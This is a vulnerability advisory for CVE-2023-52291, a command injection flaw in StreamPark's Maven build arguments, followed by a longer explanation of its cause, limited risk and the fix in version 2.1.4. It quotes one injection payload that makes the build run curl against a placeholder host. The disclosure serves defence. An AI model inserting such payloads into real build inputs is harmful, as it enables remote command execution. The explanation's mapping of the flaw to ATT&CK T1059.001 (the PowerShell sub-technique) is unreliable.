CVE-2023-52291 in StreamPark
Summary
by MITRE • 07/17/2024
In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.
Background:
In the "Project" module, the maven build args “<” operator causes command injection. e.g : “< (curl http://xxx.com )” will be executed as a command injection,
Mitigation:
all users should upgrade to 2.1.4, The "<" operator will blocked。

The vulnerability identified as CVE-2023-52291 resides within the streampark project module where Maven compilation capabilities are integrated. This flaw represents a command injection vulnerability that stems from insufficient input parameter validation mechanisms. The specific technical weakness manifests when the system processes Maven build arguments containing the "<" operator, which creates an exploitable condition for remote command execution. The vulnerability operates at the intersection of software build automation and security controls, where legitimate build parameters are inadvertently transformed into executable commands through improper sanitization.
The technical implementation of this vulnerability follows a well-established pattern of command injection attacks where user-supplied input is directly incorporated into system commands without proper validation or escaping. When an attacker crafts malicious input containing the "<" operator within the Maven build arguments, the system processes this input as a shell command rather than treating it as a parameter. This creates a dangerous execution path where arbitrary commands can be executed with the privileges of the streampark system user, potentially leading to full system compromise. The vulnerability aligns with CWE-78 which specifically addresses improper neutralization of special elements used in OS commands, and also corresponds to ATT&CK technique T1059.001 for command and scripting interpreter.
The operational impact of this vulnerability is constrained by several mitigating factors that significantly reduce its practical exploitability. The attack requires a pre-condition where the attacker must already possess valid system credentials and have system-level permissions, effectively limiting the attack surface to authorized users who are already trusted. This authentication and authorization requirement creates a strong barrier that prevents casual exploitation, as the vulnerability cannot be leveraged by external attackers without first compromising system access. The risk assessment is further reduced by the fact that legitimate system users typically do not manually input dangerous command operations, making the vulnerability less likely to be exploited through normal user behavior patterns.
The mitigation strategy implemented in streampark version 2.1.4 addresses the core issue by blocking the "<" operator entirely from being processed within the Maven build arguments. This defensive measure prevents the specific command injection vector that enables the vulnerability while maintaining the core functionality of the build system. The upgrade to version 2.1.4 represents a proper patch solution that aligns with industry best practices for vulnerability remediation, where the root cause is directly addressed rather than relying on workarounds or indirect mitigations. This approach demonstrates effective vulnerability management and follows the principle of least privilege by restricting potentially dangerous input operators while preserving system functionality for legitimate use cases. The solution effectively closes the attack vector while maintaining operational continuity for authorized users who require normal build capabilities.
